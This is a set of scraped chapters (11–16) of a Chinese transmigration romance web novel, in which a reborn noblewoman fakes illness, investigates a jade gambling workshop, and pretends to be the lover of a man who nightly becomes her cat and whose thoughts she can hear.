哎,卫北临屈服了,他觉得自己应当是上上辈子菩萨没当够,现在才圣父瘾发作非要挽救某人不可。 就当他积德好了,自作多情的男人想到。 …… 和金庭后便是私宅,前庭归属皇家,自然没有后院是旁人的道理。 闻五将褚雪镜二人引至宅前,一板一眼道:“二小姐,请。”他的任务就是将褚雪镜带到此处,至于褚雪镜是进还是不进,不在他的任务范畴,因此话毕便告退离开。 积雪的瓦片下赫然是半掩的红木窗门,屋外的浅光映在缝隙处,绵延出一缕光源却又骤然漆暗,似在有意无意地指引人去探寻其中深浅。 秋芝亦对太子和自家小姐“两情相悦”一事有所耳闻,更何况她也算得上是亲历者。从前太子对小姐百般呵护,小姐虽看起来不为所动,可秋芝能感觉到她的欣喜的与憧憬,但不知从什么时候起,太子的消息再也不会引起褚雪镜的任何波澜。 仿佛他是一个无关紧要的陌生人,更甚者…… 秋芝想起两日前太子来信时小姐冰冷的神情。 像是还有暗藏的恨意。 “小姐……”雪风那样冷,像是轻易能将褚雪镜瘦削的身影吹散,秋芝犹疑着开口。 她当然希望小姐能按自己的心意选择,可皇威浩荡,若相互倾心是为佳话,然高位者俯首,于下位者而言,多为悲剧。 褚雪镜淡淡瞥过门掩出的明灭长影,如她所料,只要发生的事情轨迹与前世有所区别,就会别外生出些旁事来推动她回到原轨。 譬如前世的她在收到太子的信和药材后几乎喜不自胜,马不停蹄地回赠萧胤玦一枚锦玉作为答复,故而前世的今日此时此刻萧胤玦等的并不是褚雪镜,而是褚玉霜。 至于她为何知晓得这般清楚……褚雪镜敛眸, 11. 一计 《变成恶女的猫后被读心了(穿书)》全本免费阅读 褚雪镜面无血色地坐上马车,眼睫微湿,甚至眼尾还有未擦干的泪痕。 “小姐,”秋芝红着眼眶,她不知道萧胤玦对褚雪镜做了什么,可小姐自屋中出来后便如此魂不守舍,更何况面容上泪迹未干,想来是受了委屈,“您若不喜……” 她哽了一下,想到褚雪镜和乔恩兰暗里的龃龉,却顾不得那么多,“不如告诉侯爷和夫人,请他们……” “秋芝。” 只这么一声足以让秋芝住口,秋芝一怔,眼泪无声滚了下来。 “时我命我,”褚雪镜轻声道,“皆不由我。” 话落,她眉头忽蹙,竟无端呕出一口鲜血。 “小姐!”秋芝惊叫,褚雪镜从前再如何病重都未曾吐过血!她慌乱地用手帕去擦拭女人唇边的血渍,褚雪镜半合着眼,虚虚抓握了一下秋芝的手背,下一瞬便昏厥过去。 “来人!来人!”秋芝一把掀开厚帘,往日的温和稳重消失殆尽,目眦欲裂,“小姐吐血晕过去了!快去找大夫!” …… “二小姐是因为忧思过重,长久积压导致的突发吐血,”秦合欢把过脉,喂了褚雪镜一粒药丸,冷静道,“一刻钟后便能醒来了,侯爷、夫人放心。” 乔恩兰簌簌掉着泪,“这孩子有什么事怎么都憋在心里,从前从来不这样……” 她说了两句,诡异地停顿了一下,接着哭道:“都怪我们这些日子太疏忽她了,若是我们多关心她一些……”哭着哭着又踉跄一下,似是险些哭晕了过去。 “好了夫人。”忠远侯向来习惯在这中间当过渡桥梁,安抚着将乔恩兰揽进怀中拍了拍她的肩,“等雪镜醒来你再好好和她谈谈,总归要先保重自己的身子。” 褚玉霜依旧是那副唯唯诺诺的模样,垂着头站在一旁,偶尔抬眼目光也只落在褚雪镜身上。 秦合欢收了医箱,无视忠远侯和乔恩兰的恩爱戏码,公事公办道:“我有些事情想跟侯爷、夫人讲。” 乔恩兰哭声一遏,像是一直在等的就是这句话,“什么事?” 秦合欢回头看了褚雪镜一眼,仿佛有些犹疑,很快又不知道想到了什么语气也坚定起来,“借一步说话。” 四人合上褚雪镜闺房的门,乔恩兰矜持地擦了擦泪,柔声问:“秦大夫,您要说什么?” 秦合欢目光轻略过三人神色各异的脸,重重叹了口气,颇有几分恨铁不成钢的意味,“二小姐积毒已深,恐危及性命,你们都不知吗?!” “嗯?”乔恩兰出乎意料地平静,被手捏得皱巴不成形的帕子却暴露了她的紧张,“秦大夫,这是何意?” 秦合欢:“寒毒啊!此毒性危且无药可治,过去的大夫不曾告诉过你们么?” 即便三人神情不改,秦合欢依然从他们身上察觉到骤然的松懈感。乔恩兰幽幽道:“秦大夫,我们自然是知道的,只是一直瞒着雪镜罢了。” 秦合欢看着她,乔恩兰面皮舒展,信信而谈,“雪镜这孩子从小便体弱,九岁那年又遭歹人报复染了寒毒,是我们亏欠她的。” “这么多年我们从未放弃过为她医治此毒,可大夫们都束手无策,我们不敢让雪镜知道,不然她……”乔恩兰无奈地摇了摇头,未尽之语满是一位人母对孩子的真心疼爱,“秦大夫,您和我们说这些,可是有法子治此毒?” “只要能治好镜儿,”忠远侯深沉道,“什么条件我们都能答应。” “是啊,”一直默默不言的褚玉霜竟也开口了,殷切地说,“只要能治好二姐……” 她忽然想起什么,惊讶捂唇,“那日在如意楼……和二姐一起的便是秦大夫吧?” 秦合欢似是也回忆起来,轻笑道:“应是我了,那日我走得匆忙,不曾见到三小姐。” “二姐找秦大夫是……”褚玉霜说了一半,似是意识到不妥,无措地看了忠远侯夫妇一眼,又弱弱垂下头。 秦合欢:“其实二小姐已经猜出自己中毒了。” “这孩子……”乔恩兰手里握着巾帕痛心般抵着自己的胸口,“她找您是……?” “自然是为了治病。”秦合欢道,“我曾在江湖行医,二小姐打听到后便来问我有没有治寒毒的法子,可惜……” 秦合欢眉目染上忧愁,“此毒只能□□,无法根治。” “秦大夫,”乔恩兰眼中含泪,急急上前两步抓着秦合欢的手,“我知道您医者仁心,是个有本事的大夫……您帮帮雪镜吧,就是帮她缓解此毒也是好的。” 秦合欢犹疑,“这……” “秦大夫,”忠远侯及时添了一把柴,“只要你肯为镜儿治病,本侯可允你月例三十两。” 三十两已是寻常百姓一年的收入了,更何况是每月三十两。秦合欢难掩欣喜,却还是装作纠结犹豫的模样。 世间唯贪财之人最好解,乔恩兰不免露出几分真切的笑容,“秦大夫,您就答应吧。” 秦合欢眼神一动,显然已经迫不及待,面上却难言再三,咬牙点了点头,“侯爷、夫人,你们放心,二小姐的病我定会倾尽全力。” 尽不尽力的,总归是治不好,谁又知道呢? 她这边刚承诺,房中便传来细微的响动。 秋芝肿着核桃眼打开门,凄戚的面上终于露出笑意,“侯爷、夫人,二小姐,小姐醒了。” …… 红罗软帐前,烛火轻晃,暖炉中银炭烈烈烧着,偶尔迸溅出两点火星,发出脆响。 “小姐,”秋芝跪在床边,“夫人果然问了奴婢今日发生的事情,奴婢都按小姐的吩咐答了。” 褚雪镜伏在枕上,暖被稍滑露出着着轻薄里衣的肩头。乌发轻轻落在耳边,明黄的烛焰将光洒在她面上,白净的脸上黛眉轻展,眸中柔亮,哪有半分重病的模样。 “做得很好。”褚雪镜微歪了歪头,嗓音中都透露着愉悦,“跪着干什么?你做得好我要奖你。你想要什么赏?” “……小姐?”秋芝茫然抬头,见褚雪镜笑容晏晏,便知道她在逗弄自己,不禁嗔道,“小姐!” “我认真的!”褚雪镜目光落在秋芝空落落的手腕上,翻身坐了起来,“过两日我叫人去给你打个镯子,你戴着肯定好看。” “小姐不必如此。”秋芝仍然跪着,却是神情严肃,“这都是奴婢应该做的。” 12. 醉酒 《变成恶女的猫后被读心了(穿书)》全本免费阅读 约莫是因为饮了太多酒,卫北临一回府倒头就睡却在好福扯他喝了醒酒汤后才变成金雪。 他头还有些昏沉,从那日他以猫身被扔进雪堆当葱,在自己身体醒来后头皮和后脑依然隐隐作痛他就知道身体上的不适不会因为他变换肉///体而消失。 本就鸡肋的金手指显得愈发无用起来。 他在心中长叹一口气,把自己当成一条失去梦想的咸鱼瘫成一长条猫,除了尾巴有些不受他控制还在乱甩,宛如死尸。 【好难受呜呜。】他几乎生无可恋,头一次如此想念现代,【好想我的手机、我的电脑、我的床……】 【呜呜呜呜呜……】连绵不断的呜呜声像挨了打的狗发出的哼叫,要不是他现在是猫,他能把一栋楼的人都嚎醒,【好想回家好想回家好想回家……】 可惜这里没有一栋楼的人,只有一个褚雪镜。 褚雪镜:“……”好生聒噪。 一个喝醉的人心声怎么可以这么吵? 【我孤苦伶仃来到这里,爹不疼娘不爱……好吧也没见上原主爹娘,可是我想我爹娘了呜呜呜。】他的心声几乎一刻不停,巴不得把穿过来的这些日子里受的委屈统统哭一遍,【爸爸妈妈,儿子不孝,不能孝顺你们了……呜呜呜】 【都怪卫南亭!要不是她让我背什么书!我怎么会穿进来!】 【也不对,万一没读过就穿进来了怎么办?那不是更惨。】 【那还怪不怪她了?算了,怪不怪都没办法了。卫南亭、我的好妹妹,一定要替我好好孝顺爸妈!】想完他又开始在心里呜呜,【我还没上大学呢呜呜呜,我怎么这么惨啊我呜呜呜……】 褚雪镜以为卫北临平日里话已经够多了,没想到喝醉了尤甚,宛如沸腾的水滚出的气泡咕噜咕噜地一层接一层。 更何况这还是心声,不用费口水喉咙,反而让他嚎得越来越起劲,像感觉不到累一般。 男人的声音不断挤进褚雪镜的脑海,如同密集的漩涡要将她吸进去。 褚雪镜沉了口气,对秋芝道:“你去歇息吧。”她视线落在还在心里哭爹喊娘的卫·金雪版·北临身上,咬了咬牙,“我陪金雪玩一会儿。” 醉鬼的反应总要慢半拍,直到秋芝退了出去卫北临像是才后知后觉,然而此时已挽救不及,褚雪镜柔软的衣袂就在眼前。 【她要和我玩吗?】卫北临怔怔地想到,【和我吗?】 算了,跟一个醉鬼计较什么。萧胤玦备的梅花酒本就是烈酒,只是不知道她走了之后卫北临又喝了多少才醉成这样。 明明在庭外遇见的时候他还很清醒。 褚雪镜用指腹勾了勾他的下巴,“金雪,要睡了吗?” 赶快睡吧,再不睡她要被吵死了。 【不困。】卫北临享受地眯起猫瞳,人类的尊严因为醉意被抛到了九霄云外,【舒服!】 褚雪镜:“……” 她顺势将掌心拢住猫咪毛茸茸的脑袋揉了揉,当真像哄金雪一般给他顺毛。 这与那日用铃铛逗他不同,不过虽说有些别扭,但好歹能消停会儿。 偏偏某人非要得寸进尺,被撸毛还不满足,仰着小猫脸去蹭褚雪镜的胳膊,竟是比金雪还黏人。 【抱抱,怎么不抱我?】 见褚雪镜无动于衷,他又嗲嗲地喵了两声,抬起前爪去拨褚雪镜的手心,【抱我!】 褚雪镜:“……” 【为!什!么!不!抱!我!】卫北临一字一顿地咆哮,仿佛褚雪镜做了什么十恶不赦的事情,【我不可爱吗!为什么不抱我!褚雪镜你这个没有心的女人!】 褚雪镜:“……”醉成这样了还能认出来她?她沉默着摸了一把金雪的脸,反复地告诉自己揍了他金雪的皮囊就不保了,片刻后终是屈服在卫北临发出的噪音之下,将他揽进了怀里。 卫北临穿的分明是只猫,可尾巴摇得像小狗一样,甚至在褚雪镜怀里找了个舒服的姿势趴下。 【嘻嘻。】 褚雪镜再次无言。 男人就像什么都好奇又精力旺盛的孩子,卧了一会儿又开始躁动起来,抓着褚雪镜的衣袖要攀到她肩上。 “金雪。”褚雪镜揪住他的后颈皮,语气比腊月的风雪还要冷,“乖一点。” 小猫弱弱地“喵”了一声,分外委屈地缩了回去,与此同时迎来的是卫北临毫不遮掩的心声。 【褚雪镜你就这样对我,我不是你的猫吗?你对我冷漠也就算了,对你的猫怎么也能这样呢?你虽然烧杀抢掠什么都做,可是我不嫌弃你啊。】 他无师自通开启了念经模式,若不是褚雪镜知道他不知道自己能听见他的心声,险些要以为他是故意来整她的,【你就不能不喜欢男主吗?男主除了是男主外到底还有什么好的?送你东西你要笑,和你说话你也要笑,你都没对我笑过,也没对你的猫这样笑过。你自己想想这合适吗?】 褚雪镜:? 萧胤玦送她东西的时候那不是冷笑吗?再者她什么时候和萧胤玦说话笑了? 卫北临可听不见褚雪镜的想法,还在自顾自地叭叭,【他到底有什么好?啊?因为他是太子吗?我还是世子呢!】 有病。褚雪镜微不可察地叹了口气。 【难道因为他长得比较帅?我长得也不赖。】卫北临很自信,碎碎念不停,【他是渣男啊!脚踏两条船那种!】 【退一万步说,你怎么可以为了破坏男女主的感情杀掉你自己的猫呢?!】 褚雪镜一愣,卫北临这样说,难道在他看的书里金雪是她杀的? 【别杀、别杀我。】他思绪乱飞,心声也颠三倒四的,残留的神智还催促着他撒娇卖萌,试图打消褚雪镜拿猫祭天的计划,【褚雪镜……】 方才还闹腾的爪子慢慢滑落,小猫鼻传来均匀轻浅的呼吸声,男人的心声亦随之隐没。 褚雪镜接住他歪倒的脑袋,静了两瞬,忽地笑出了声。 * 酒精害人。 此为卫北临宿醉后想起一切后故作冷静得出的结论。 虽说他是用金雪的模样做出的丢人事,但旁人无所谓,作为当事人的他根本没办法忘记和忽略! 而恰恰事情走向又和原著发生了偏差,褚雪镜不仅没有让人杀了金雪嫁祸给女主,反而这几日都让金雪睡在里屋,连窝也挪了进去 13. 鸿玉坊 《变成恶女的猫后被读心了(穿书)》全本免费阅读 鸿玉坊。 鸿玉坊是金陵素有美誉的玉石坊,不仅有各式各样的玉石原料,坊中匠人亦是精挑细选、个个都雕得一手好玉。 据说鸿玉坊坊主私有一座玉矿,就算是皇帝要玉也难绕过她的渠路。不过目前鸿玉坊表面由一苏州商贾经营,背后名主为人神秘,从不露面。 “小姐。”秋芝紧跟在褚雪镜身后,用气声道,“奴婢看不清路。” 褚雪镜泰然自若,“跟紧我便是。” 两人都戴着从头遮到脚的幂篱,但在鸿玉坊中并不突兀。开玉取玉皆为运气,说白了就是“赌”。 一旦摊上赌,也许露宿街头之人也能富可敌国,也许家财万贯之人也会金银散尽,是故买玉无碍,买原石要乔装一番,在鸿玉坊算不上什么稀奇。 今日是鸿玉坊年前最后一次采进新原石,人群熙攘,两人混在其中更是如游鱼入水。 “开这个!开这个!” “老子赌这块是翡翠!” 嘈杂的吵闹声中,兴奋与失望交织,一声悲嚎骤然穿过哄闹,“骗子!你们鸿玉坊就是专门坑老百姓钱的!” 然而下一瞬声音便消失不见,人们见怪不怪——说白了赌玉和赌钱没什么区别,既然来赌,就要有输的底气。 平头百姓倾家荡产的殊死一搏,不过是贵人们随手一挥的乐子罢了。 “小姐。”秋芝后怕地吞咽了下口水,那声悲鸣太过痛彻,震得人四肢发麻,“这……” 褚雪镜将幂篱的帘纱拉紧,像是司空见惯,“走。” 她的确让秋芝去打听了萧胤玦的行踪,但真正给她线索的是秦合欢。 据秦合欢所探,萧胤玦与鸿玉坊关系密切,即便是警惕如他,竟雷打不动每月至少要去鸿玉坊一次。 人声如沸中,她径直走过坊间,往坊内深处走去。 “抱歉。”分明人多如云,四处乱如蚁穴,却像时刻安插了眼睛一般立即便有人察觉到褚雪镜的意图,“此乃坊主私地,非坊主同意不可入内。” 褚雪镜透过雪纱悄无声息将拦她的两人打量了一番——粗衣麻布、相貌平平,隐入人群就能瞬间消失——但他们能完美地隐藏窥视,非一般打手能比。 她欠了欠身,似表明这是无意之举,“两位大哥可否告知钟师傅在何处?” 钟师傅?两个护卫对视一眼,其中一人问:“哪个钟师傅?” 褚雪镜:“钟远良。” 话落,她轻声笑了一下,“家父和钟师傅是多年好友,以往都是家父来寻,但近来他出远门无法前来才托我代替,只是过去我不曾来过鸿玉坊,许有冒犯还请见谅。” 若是这般倒真有可能是乌龙,两人神情缓和了些,虽减轻了敌意,但并未因此松懈。 “两位大哥,我是真有要事要找钟师傅……” 褚雪镜话还未说完,便听身后传来尖细阴柔的询问,“姑娘,就是你要找钟老头?” 方才还凌厉严肃的护卫顿时收敛了气势,躬身作揖。褚雪镜背脊一僵,随即镇定回身,朝贺尹盈盈一拜,“正是。” 老太监微鞠着身,拱起一弯脊骨,像是蓄势待发的毒蛇之颈背,他阴毒的目光毫不遮掩地在褚雪镜和秋芝身上逡巡,忽地震笑,“咱家是不是在哪见过这位小姐?” 他将臂弯的拂尘颠了个方向,掀起一阵微风。 褚雪镜倏地退后两步,幸而幂篱只被吹开一角、不至于窥见真颜,她心跳如鼓,但面上依旧风轻云淡,“我倒是不曾见过师傅。” “师傅?”贺尹又哼笑,“你瞧不出来咱家是个没根儿的太监?” 此话显露又冒昧,偏偏说话的人是贺尹、当今圣上面前的红人,然褚雪镜却是愠怒,冷言道:“鸿玉坊中皆为师傅,您想多了。” 贺尹睨了她一眼,长长打了个哈欠,“罢了,许是咱家年纪上来了,老眼昏花认错人了。” 他下巴朝西南面抬了抬,施舍般道:“你要找的人就在那里头,这回可看好了、再别找错咯。” 褚雪镜垂首行礼,“多谢。” 老太监悠悠离去,褚雪镜微微抬眼,瞧见幂篱下一闪而过的茶色鹤纹袍角。 她没想到贺尹会在此处。 鸿玉坊…… 褚雪镜无声扫过还在兴头上的人们,此时寒冬腊月,竟也隐约能见他们额角的汗珠,他们沉浸在赌的快感中,无人注意贺尹的来去。 又或者说,即便注意到也会守口如瓶,谁又想无端生事平白惹宫里的人呢? 寒风裹着残留的雪粒直往人衣里钻,褚雪镜从沉思中抽离,踱步走向贺尹指的方向。 所谓打草惊蛇,她倒没想今日一定能查到什么;她虽不能笃定贺尹一定没能认出她——更坏的情况,贺尹其实是萧胤玦的人,但他的出现反而是惊喜多过惊吓,就算他认出她并禀告了萧胤玦,对她来说,其实有利无害。 毕竟她只是“痴心”萧胤玦,害怕被他抛弃才追随而来罢了,萧胤玦乐见其成,又能拿她怎样呢? 如果他们想从她身上得到什么,眼下就绝不会伤害她的性命,她也笃定,他们不敢拿她怎么样。 否则前世不会费那么大的功夫只为给她编织一个虚假的幻梦。 思及此,褚雪镜看向不远处几乎被积雪覆盖的凉亭中坐着的人。 那人约莫花甲之年,不修边幅地散着发,穿了一件单薄的汗衫,粗实的臂膀裸露在寒天中仍面色不改,只是弯着腰沉默地磨着刀。 他坐在坊中最偏僻的角落,任凭外院人声鼎沸滔天也不见一丝波澜。 褚雪镜走近才看清,这人的头发竟是微卷,颜色不见白,更偏棕黄,就连胡子也是棕色。 她记得秦合欢的叮嘱,将一包烟叶放在磨刀石边。 果不其然,老头磨刀的动作慢了下来,半晌忽然道:“秦丫头让你来的?” 褚雪镜如实答:“是。”就秦合欢所说,此人先前是药医谷里饶有盛名的用药高手,可惜犯了大错被逐出谷,后又被仇家追杀,幸得秦合欢母亲所救,再后来辗转来到金陵,因 14. 相公 《变成恶女的猫后被读心了(穿书)》全本免费阅读 钟远良把选好的原石拿给切料师傅,切料师傅瞥了他一眼,问:“确定是这个了?” 钟远良:“确定。”他根本不懂玉,更不会选玉,只能硬着头皮挑了一个,反正不是他掏钱。 既如此,那师傅也不说什么——他倒是认识钟远良,不过不熟,钟远良买玉石的钱哪来的他不管,总之仁至义尽,开出什么都与他无关。 这边师傅已经卷上解玉砂,蹬上磨玉机,然褚雪镜却不见人影,独留秋芝在此处看着。 钟远良瞟她,问:“她人呢?” 秋芝知道他是在问褚雪镜,但她也一无所知,只能摇头。 褚雪镜说服钟远良后本是同他们一起的,可才进到挑选原石的院中就忽然匆匆离去。秋芝跟追不及,只好留下盯着钟远良。 钟远良似是做样子般问了句,之后就安静抱臂瞧着那师傅砣碾玉料。 眼看玉料将被切开,他莫名其妙地又开口,“她给钱了吗?” 秋芝也目不转睛地看着师傅手里的玉料,闻言不假思索道:“应是给了。” 钟远良倏地回头瞪眼看她,“什么叫应是?” 那是给还是没给? 老头严肃的时候像极待攻的猛兽,秋芝被他吓得一哆嗦,“奴……我好像没看到。” 钟远良倒吸一口凉气,他体质强悍,即便年到花甲也是只有畏热从不畏冷,此时却真真切切地觉得通体四肢都被冻住了。 她人呢! …… 褚雪镜脊背紧贴着墙,冰冷的寒意顺着脚底爬上头,她压抑着喘息,屏神躲在暗道里。变故太快,她根本来不及反应,仍觉惊疑不定。 她竟然在此处见到了杨春明。 可困扰她的谜团皆在鸿玉坊出现线索,未免过于顺利,她在坊中遇见贺尹若是巧合,那杨春明呢?! 一个秦合欢暗探都寻不到的人,竟然如此之巧大摇大摆地出现在鸿玉坊,还恰恰是她来查的这一天。 与其说是谋巧,倒不如说是精心布置,为的就是引她上钩。 “你来这做什么?” 褚雪镜无意识攥紧衣布,这个声音太熟悉了——前世她死前听过无数次。 是白音--褚玉霜的养母的声音。 杨春明答道:“主子叫我来。” 白音抱着一篓清洗过的碎玉,闻言眼皮都没掀,语气凉薄,完全不像是与自己的丈夫说话,“滚开。” 杨春明却无半分恼意,依言让开,但口上没停,“主子说让我们年前回沧州。” 白音说:“知道了。” 沧州……秦合欢探回的消息里,便是说杨春明和白音是沧州人。 他们做这么一出戏是为了什么?引她去查沧州吗? 太多猜测在脑海中缠绕成结,褚雪镜僵着身子,直到听见两人的脚步声越来越远,脑中紧绷的弦才稍微放松了两分。 事实上她并不是第一次来鸿玉坊,前世逃亡途中,她曾被抓进来短暂囚禁过,在试图出逃时发现了这处暗道。 也正因为此,即便她知道杨春明出现在她视线中是个危险的饵,她也会毫不犹豫地咬钩。 用杨春明来钓她的胃口,说明背后之人对她做的事情了如指掌,却放之任之。 那么既然此人这么想让她知道什么,她自然是要成人之美,给他一个机会。 雪色的幂篱将她整个人都笼在其中,却无形给了她安全感。褚雪镜平息情绪,正欲从暗道出去,暗道外又传来谈声。 依旧是熟人,那么这一次呢?也是背后之人特意设计的么? …… 卫北临自马车停在鸿玉坊门外就被人纠缠个不停。 他本是追随褚雪镜而来,但千算万算也没想到,原来的卫北临竟然是这个地方的常客,卫宅的车夫刚勒马,鸿玉坊的人就像见了大米的老鼠恨不得立马把他从马车里薅出去付钱似的。 “卫世子,您可有一阵子没来了。”说话的人是目前鸿玉坊的管理副手,名叫苏立方,体形肥大,一张脸笑成了弥勒佛,“但我们的好料子都给您留着呢!” 卫北临:“???” 这不是强买强卖吗! 他求救的目光落在好福身上,好福陡然一惊,偷偷道:“原来您不记得这事儿了啊?” 他该记得什么事?卫北临假笑着安抚过苏立方,将好福拉到墙角,声音从唇缝里挤出来,“这什么东西?你没跟我说啊!” 好福无辜道:“您说要去鸿玉坊,小的还以为您没忘记这事儿……” 毕竟卫北临撞了头后并不是一无所知,今早他忽地提出要来鸿玉坊,好福便下意识以为他没忘,没想到闹了乌龙。 “您先前每月都会来鸿玉坊赌玉,”好福悄悄瞟了一眼卫北临的脸色,见他面沉如水,又扫见他身后微笑静待的苏立方,本就低的声音更是小到听不见,“这个月还没来过,那老板可不就等着您了么?” 卫北临:“……”他在现代的时候家里虽有点小钱,但他爸妈都不是铺张浪费的性子,因此他自幼受到的教育也是勤俭实干,像赌玉这种事他根本没接触过。 赌玉赌玉,听名字就知道这东西少不了费钱。他用沉默掩饰自己的崩溃,过了一会儿才问:“他…我每月赌玉要花多少银子?” 他心里还抱有一丝希冀,然而好福只是咽了下口水,伸出三根手指。 卫北临嘴角一僵,想到了某种可能,但不愿承认,“……三十两?” 好福用一脸你怎么一点也没有自知之明的表情看着他。 卫北临莫名哆嗦了一下,原主纨绔就算了,还这么败家?! 他又问:“三百两?”他知道原主独在金陵、原主的父母放心不下,因此他爹立军功得的部分赏赐都给了原主,所以原主从不缺钱。 若是三百两……也能接受吧,反正他以后不赌就是了。 但好福很难看地笑了一下,小声道:“三千两。” “多少?!”卫北临忽然回头看了苏立方一眼,苏立方立马换上招牌笑容,吓得卫北临又倏地转回来。 “而且您霉得出奇,基本上没开出过好料。”好福弱弱补充。 卫北临:“……”那就是白送钱呗。 他绝望地闭了闭眼,几乎要对原主佩服得五体投地。 厉害、太厉害了!原主爹就是把北境周围的蛮人都打完了立的军功也不够原主造的! 怪不得这么大的玉坊一听到他来就亲自到门口迎接,可不 15. 选玉 《变成恶女的猫后被读心了(穿书)》全本免费阅读 女子抱住卫北临的瞬间他就下意识想往外推,熟悉的软香却像绫布无形拉缓了他的动作,直到她真真切切地贴在自己怀里,卫北临才从怔愣中反应过来。 褚雪镜?她怎么…… “卫世子,”少女温软的手臂顺着男人的胸膛勾上他的脖颈,让他俯首听她讲话,她气息轻而淡,如风飘过,“有人监视,帮我。” 卫北临垂眸看向她,她的脸被白纱覆着,可他们距离太近,即便有一层薄纱,卫北临依然能看清她潋滟的明眸,翘起的琼鼻,以及艳红的唇。 他慌乱移开视线,心又开始乱蹦起来,他今日滴酒未进,为何如围炉宴那天一般心神乱动,神思不清? 偏偏褚雪镜不肯放过他,轻柔的低声宛如鬼魅的惑语,“卫世子,帮帮我。” 女人柔软的手指似乎无意识地抚动,蹭着他颈背裸露的皮肤,激起一阵酥麻,卫北临逃也似的要抬手甩掉她的手,褚雪镜却趁机将一只手滑下,恰好落在他胸口,似是隔着胸腔握住了他的心跳,另一只手则扣在男人颈后防止他挣脱。 褚雪镜掌心如冰,卫北临被冻了一下,眼神又不由自主回到她身上,本要甩她的手最终只是轻轻扣在她抵在自己胸口的柔夷上,他喉头微滚,道:“手怎么这么凉。” 还挺上道。 褚雪镜眼中划过一丝笑意,口上却悲切道:“妾身等了你许久,自是被风冻得。” 卫北临低低“嗯”了一声,将她的手包在自己掌中,“我们……” 他想说我们回去,然少女先一步道:“相公来鸿玉坊是为妾身选玉的么?” 纱罗后女子目光盈盈地看着他,既不像平日他穿猫时的俏皮肆意,也没有围炉宴见面时的疏离客气。 她只是轻轻地靠在自己怀里,抬起脸认真地询问他。 她的手还被他握在掌心,卫北临的手很热,竟当真将她的手捂暖了些。 他不知道褚雪镜想做什么,可是…… 选玉而已,又不是什么伤天害理的事,随她去又怎样? 卫北临沉默着点了下头,伸手把她蹭乱的幂篱上的雪纱理好,褚雪镜便适时退开些,听他对苏立方道:“你……你方才不是说什么羊脂玉…?” 苏立方瞬间从震惊中回神。 卫北临是个纨绔不假,但他一直是纨绔中的清流——只因他吃喝赌样样在行,唯独洁身自好,不近女色,甚至金陵一度掀起过他是断袖的传言。 这么看,这哪是什么洁身自好啊,分明是外有金娇,不愿再沾花惹草罢了。 瞧瞧他刚才那不值钱的样子,人小娘子说什么是什么,一上来就先关心人家手凉不凉……苏立方想想就觉得牙酸,他俩那旁若无人的劲儿也就是情到浓处才能作得出来了。 想归想,苏立方面上毫无破绽,立马道:“对!上好的羊脂白玉,就在堂屋里,公子、姑娘随我来。”卫北临尚未娶妻,也不曾听说纳妾,这位美娇娘想必只能是外室了;偏生她一口一个相公叫着,苏立方不知卫北临有没有坦白身份——一些坏水便以此哄骗无辜姑娘,可惜他只是一介平民,有与没有换个常见尊称总不会出错。 卫北临下意识去看身边的人,褚雪镜扯着他的袖角摇了两下,似在撒娇,嗓音雀跃道:“走呀相公。” 男人微垂着睫毛,“嗯。” 少女莹白的指尖拽着他的衣角,这只手不久前还停留在他掌中,手心仿佛还残留着她的温度。 卫北临强迫自己不再深想,转移自己的注意力,问她:“你为何会在此处?” 褚雪镜偏头,卫北临感觉他被睨了一眼,少女缓声开口,语气还有些幽怨,“还不是怪相公,你不让我去你家中寻你却又不来看我,我便只能到这里来堵你,不想却迷了路……” “我们鸿玉坊地大人杂,的确容易迷路。”苏立方在前面笑呵呵道,“下回姑娘若是找不着路,随便问个侍女小厮便是。” 褚雪镜幽幽道:“方才那处没瞧见什么侍女小厮。” 苏立方本以为她这话是在怪罪鸿玉坊照顾不周,谁料她下一句道: “好在碰巧遇见了卫郎,你说,这是不是说明我与卫郎缘由天定?” 苏立方微怔,随即抚掌道:“姑娘所说有理,怎么姑娘迷路的地方谁都不见,就见着卫公子了呢?必然是与卫公子有缘。” 褚雪镜似是很满意他的回答,笑吟吟道:“卫郎觉得呢?” 所谓缘,无形胜有形,命运若缠线。 他不觉得和褚雪镜的此番相遇算缘,但无故夜夜穿成她的猫…… 应是缘。 可这哪能说出口呢?卫北临道:“你说什么都好。”话虽如此,可语调并不敷衍,内含的纵容让苏立方又一阵肉麻。 平日里卫北临跟谁不是一副富家哥儿的作态,偏偏在这姑娘面前显得人模人样,这就是爱的力量么? 好福眼神呆滞地跟在他们后面,不比苏立方的接受良好,他只觉得天要塌了。 世子爷是什么时候背着他们在外面养人了啊?! 他可是世子的亲信!世子竟然一点风声都没让他听见!藏这么严实! 好福哀怨地望着走在他前面的两人,一个宽肩窄腰、如玉树临风,一个身若扶柳,飘然之姿,谁瞧了不叹这一双璧人。 好罢。好福安慰自己,虽然世子没告诉他,但旁人也无人晓得,算起来他还是世子身边第一个知晓此事的,回府后还可以和好运炫耀炫耀。 苏立方领他们进的堂屋除去一张梨花桌、几//把椅子,便是摆满了大大小小的木盒,木盒材质各异,但每个都装嵌了锁扣,而且一尘不染,显然是时常精心清理。 “几位等在下片刻。” 苏立方绕进里屋,从中拿出一盖着红绸的锦箱,箱身纹路清晰,竟是上好的檀木。 而檀木上的锁扣小巧精致,苏立方正要将其打开,那“外室”忽道:“这种箱子是鸿玉坊特有的么?” 苏立方动作一顿,见卫北临未生不悦,才道:“是,这是我们坊主特制的,能防止 16. 戏 《变成恶女的猫后被读心了(穿书)》全本免费阅读 苏立方和好福离开时甚至贴心地为两人合上了门,堂屋中只余两人,褚雪镜挣了一下,卫北临却没再用力,松了手。 “卫世子今日相助,雪镜铭记于心。”褚雪镜后退两步,丝毫不见方才的骄矜亲近。 她微微扬起脸,言辞虽客气恳切,但声音平淡,听不出喜怒,“我还有要事要做,就不耽搁卫世子了。” 说罢她甚至连说话的机会也不想留给男人,转身要走。 这是生气了。 卫北临下意识去拦她,然褚雪镜身形一避,竟连半分衣角也没让他碰到。 男人三步并两步跨到她面前,挡住了她的去路,“我……” “卫世子,”屋外忽起一袭寒风,将她的幂篱吹散开几分,卫北临瞥见她一晃而过的冰颜,“还请您有分寸些,别挡道。” “我并非有意冒犯!”男人哪还有方才运筹帷幄的模样,剑眉微拧,“你信我!” 褚雪镜沉默不言,干脆绕开他,却被男人一把抓住小臂。 但他只是轻握一下,见女人停步便立即松开,笨拙地解释,“我真不是为了占你便宜,我只是……” “只是什么?”褚雪镜掀起眼皮,冷冷道,“卫世子觉得我为何生气?” 卫北临竟当真思考起来,一双凤眼愣是被他茫然的神情衬出两分无辜,他诺诺道:“我、我不该未经你同意……碰你。” “卫世子觉得是因为此事?”卫北临觉得褚雪镜似乎更生气了,连声音都染上了寒意,“那我们没什么好说的了。” 